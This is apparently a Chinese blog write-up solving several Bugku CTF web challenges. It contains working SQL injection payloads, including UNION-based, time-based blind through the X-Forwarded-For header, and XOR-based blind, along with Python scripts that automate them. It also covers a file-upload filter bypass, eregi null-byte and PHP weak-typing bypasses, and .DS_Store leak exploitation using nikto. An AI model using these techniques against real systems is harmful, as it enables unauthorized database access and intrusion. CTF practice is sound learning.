https://ctf.bugku.com/challenges
备份是个好习惯
https://ctf.bugku.com/challenges#%E5%A4%87%E4%BB%BD%E6%98%AF%E4%B8%AA%E5%A5%BD%E4%B9%A0%E6%83%AF
http://123.206.87.240:8002/web16/
直接打开是一串md5
上cmd5解密出来是[空密码]/[Empty String]
没什么用
根据名字访问http://123.206.87.240:8002/web16/index.php.bak下载备份源码
取得源码如下:
首先解释下几个函数的意思:
strstr(string,search,before_search)
— 搜索字符串在另一字符串中的第一次出现。
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
search | 必需。规定所搜索的字符串。如果此参数是数字,则搜索匹配此数字对应的 ASCII 值的字符。 |
before_search | 可选。默认值为 "false" 的布尔值。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。 |
parse_str(string,array)
— 将字符串解析成多个变量(如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。)
参数 | 描述 |
---|---|
string | 必需。规定要解析的字符串。 |
array | 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 |
$_SERVER
是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;
该代码的意思就是获得?后传参,然后把其中的key替换为空,再将其解析成key1和key2,最后再进行后面的判断。
所以可以构造如下payload:http://123.206.87.240:8002/web16/index.php?kekeyy1=QNKCDZO&kekeyy2=s878926199a
取得flag:
成绩单
https://ctf.bugku.com/challenges#%E6%88%90%E7%BB%A9%E5%8D%95
http://123.206.87.240:8002/chengjidan/index.php
查询数据库:id=-1' union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata)--+
爆表:id=-1' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=0x736b6374665f666c6167)--+
爆字段:id=-1' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=0x736b6374665f666c6167 and table_name=0x666c3467)--+
查数据:id=-1' union select 1,2,3,(select skctf_flag from fl4g)--+
秋名山老司机
https://ctf.bugku.com/challenges#%E7%A7%8B%E5%90%8D%E5%B1%B1%E8%80%81%E5%8F%B8%E6%9C%BA
http://123.206.87.240:8002/qiumingshan/
这就是叫你计算出value并post提交。
这是一道关于快速反弹POST请求
的题。
相关资料可查看:详解 CTF Web 中的快速反弹 POST 请求
下面附上python代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import re
session = requests.Session()
url = 'http://123.206.87.240:8002/qiumingshan/'
res = session.get(url)
print(re.search(r'(\d+[+\-*])+(\d)+', res.text).group())
result = eval(re.search(r'(\d+[+\-*])+(\d+)', res.text).group())
post = {"value": result}
print(session.post(url, data = post).text)
代码解释:利用Session()
对象维持会话,然后正则匹配response的表达式,使用eval()
计算出值,然后再post提交该值。
速度要快
https://ctf.bugku.com/challenges#%E9%80%9F%E5%BA%A6%E8%A6%81%E5%BF%AB
http://123.206.87.240:8002/web6/
这题就是在返回包里面有个flag字段,将得到的值用base64解码得到一串数字,然后post传上去就行了
又一道这种题,直接贴代码:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import base64
session = requests.Session()
url = 'http://123.206.87.240:8002/web6/'
res = session.get(url)
post_encode = res.headers['flag']
post_decode = base64.b64decode(post_encode).decode('utf-8')
post = base64.b64decode(post_decode.split(':')[1]).decode('utf-8')
data = {'margin':post}
flag2 = session.post(url, data = data)
print(flag2.text)
never give up
https://ctf.bugku.com/challenges#never%20give%20%20up
http://123.206.87.240:8006/test/hello.php?id=1
直接访问的话是跳转到了首页。
抓包拦截返回包可看到如下一串数据:
将Words变量那串值进行URL解码,再进行Base64解码,然后在进行一次URL解码,可得到下面的一串php代码:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
要绕过上面语句限制获得f4l2a3g.txt
的内容,需满足以下条件:
- $id为非0非空
- $a不能含有字符
.
- $data
- $id弱等于0
- $b的长度>5
- 能从字符串1114中找到111与$b第一个字符拼接后的字符串
- $b不能用4开头
[scode type="green"]这里利用的是eregi()
函数的空字节截断进行绕过。即其正则在遇到空字符时会产生截断,舍弃掉后面的数据。(ereg()函数一样)[/scode]
所以这里构造的b=%0011111
其他参数的绕过利用的PHP弱语言特性。
具体构造如下:
字符?正则?
https://ctf.bugku.com/challenges#%E5%AD%97%E7%AC%A6%EF%BC%9F%E6%AD%A3%E5%88%99%EF%BC%9F
http://123.206.87.240:8002/web10/
[:punct:]
匹配其中一个字符:`!"#$%&'()*+,-./:;<=>?@[\]^_{|}~.
由此上图的[[:punct:]]
代表从中取一个
根据该正则,可构造如下payload:?id=keyssskeyssssskey:/s/sskeys=
求getshell
https://ctf.bugku.com/challenges#%E6%B1%82getshell
http://123.206.87.240:8002/web9/
一道文件上传的题:
这道题检测了下面几个点:
- filename
- 请求头中的Content-Type字段
- 下面的文件Content-Type
绕过:
- .php5(php3,php4,php5,pht,phtml都不行)
- Content-Type的multipart/form-data进行大小写绕过
- 修改为:Content-Type: image/png
INSERT INTO注入
https://ctf.bugku.com/challenges#INSERT%20INTO%E6%B3%A8%E5%85%A5
http://123.206.87.240:8002/web15/
一道XFF的insert注入
下面是题目给出的源码:
<?php
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
?>
源码的$ip_arr = explode(',', $ip);return $ip_arr[0];
这两句根据,
将$ip
字符串划分为数组
,最后返回该数组的第一个数据。其实就是相当于过滤了,
。
抓包添加X-Forwarded-For
字段并插入payload:1' and sleep(5))#
页面响应5039毫秒,注入点存在:
虽然过滤了,
但是我们可以用下面语句进行判断:
select case when (条件) then 代码1 else 代码 2 end;
截取字符的substr()可以用from...for...代替:
select substr(database() from 1 for 2);
根据以上条件可以构造payload来查询当前数据库长度:1' and (case when(length(database())=5) then sleep(5) else 1 end))#
猜解database()字母:1' and (case when substr(database() from 1 for 1)='w' then sleep(5) else 1 end))#
后面的都差不多。贴上python代码:
import time
import requests
results = ''
def result(pos,str1):
url = "http://123.206.87.240:8002/web15/"
header = {
"X-Forwarded-For":"11' and (case when (substr((select group_concat(flag) from flag) from " + str(pos) + " for 1 )='" + str1 + "') then sleep(3) else 1 end )) #"
}
t1 = time.time()
res = requests.get(url, headers = header)
t2 = time.time()
t = t2 - t1
if t > 3 :
return True
else:
return False
for pos in range(1,33):
print("pos:", pos)
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
if result(pos, str1):
results += str1
print(results)
break
print(results)
后面试了下二分法。。感觉比这还慢。。
PHP_encrypt_1(ISCCCTF)
https://ctf.bugku.com/challenges#PHP_encrypt_1(ISCCCTF)
这题感觉好难。。先附上参考链接:bugkuctf PHP_encrypt_1(ISCCCTF)
该题源码:
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
题目就是根据这个加密算法,写出一个解密算法,解密密文:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
该代码流程是先计算出char字符串,然后再将data与它进行取模,最后返回base64编码的结果。
解密:
- 将密文先进行base64解码
- 计算出char字符串(char只进行模运算,所以与加密的流程一致)
- 求模逆运算
关于模逆运算:
- 加密:
(x + y) % 128 = z
- 解密:
((z - y) + 10) % 128 =x
所以此处:
加密为:str += chr((ord(data[i]) + ord(char[i])) % 128);
解密为:data += chr((ord(str1[i]) - ord(char[i]) + 128) % 128)
最后附上python代码:
import base64
import hashlib
def decrypt(encode_str):
md5 = hashlib.md5()
md5.update('ISCC'.encode('utf-8'))
mkey = md5.hexdigest() # 729623334f0aa2784a1599fd374c120d
str1 = base64.b64decode(encode_str).decode('utf-8')
x = 0
lens = len(str1)
klen = len(mkey)
char = ''
for i in range(0, lens):
if x == klen:
x = 0
char += mkey[x]
x += 1
# 求模逆运算
flag = ''
for i in range(0, lens):
result = ord(str1[i]) - ord(char[i])
if result > 0:
flag += chr(result % 128)
else:
flag += chr((result + 128) % 128)
print(flag)
if __name__ == '__main__':
encode_str = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
decrypt(encode_str)
上面求模逆运算部分可直接写成:flag += chr((ord(str1[i]) - ord(char[i]) + 128) % 128)
flag.php
https://ctf.bugku.com/challenges#flag.php
http://123.206.87.240:8002/flagphp/
这题打开就一个登录表单,但是action并没写东西。然后找了半天也没找到该怎么做:
根据提示hint
,再看了下别人的wp后发现是把该值当参数传进去,然后获得下面的内容:
要想解开此题就要反序列化后的cooki等于KEY的值。但是这里的KEY的赋值再判断之后。所以判断处的KEY为NULL
所以直接echo serialize("");
得到的值为s:0:""
然后抓到写入到cookie就行了:
sql注入2
https://ctf.bugku.com/challenges#sql%E6%B3%A8%E5%85%A52
http://123.206.87.240:8007/web2/index.php
fuzz了下,这题除了提示的!,!=,=,+,-,^,%
这些字符没过滤外,其他的基本上都过滤了。。
看了下大佬的wp,似乎有好几种方法。下面列出两种:
方法1:.DS_Store泄露
.DS_Store
(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。
nikto扫描存在安全隐患的文件nikto -host http://123.206.87.240:8007/web2/
:
扫出来一个漏洞:OSVDB-6694
利用脚本:ds_store_exp
这脚本是python2
写的,直接运行会提示我们缺少模块
在kali下先安装pip然后安装ds_store
库
wget https://bootstrap.pypa.io/get-pip.py
python2 get-pip.py
pip install ds_store
命令:python2 ds_store_exp.py http://123.206.87.240:8007/web2/.DS_Store
最后扫描结果如下:
扫描出来的那个flag文件,下载打开就可以看到flag
方法2:SQL注入
根据错误提示确定存在的用户名:admin
在未过滤的字符当中存在^
异或符号
所以可以构造类似payload:admin'^(1)^'
admin存在所以前面为1,1与后面的语句进行异或
,相异为1,相同为0
所以中间的语句为真时就会Response弹窗username error!!@_@
构造payload:admin'^(length(passwd)=32)^'
确定passwd字段长度为32位,可能是32位加密的md5
附上python:
import requests
url = 'http://123.206.87.240:8007/web2/login.php'
cookie = {
'PHPSESSID':'7hfu0pugb1kt0vqnaod14nfhv196qktl'
}
passwd = ''
for pos in range(1,33):
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
payload = "admin'^(ascii(substr((passwd)from("+str(pos)+")))="+str(ord(j))+")^'"
data = {
'uname': payload,
'passwd': '123'
}
# print(payload)
res = requests.post(url, cookies = cookie, data = data)
if "username error!!@_@" in res.text:
passwd +=j
print(passwd)
break
跑出来的字符串0192023a7bbd73250516f069df18b500
上cmd5解密即可获得密码
参考文章:Bugku SQL注入2的思考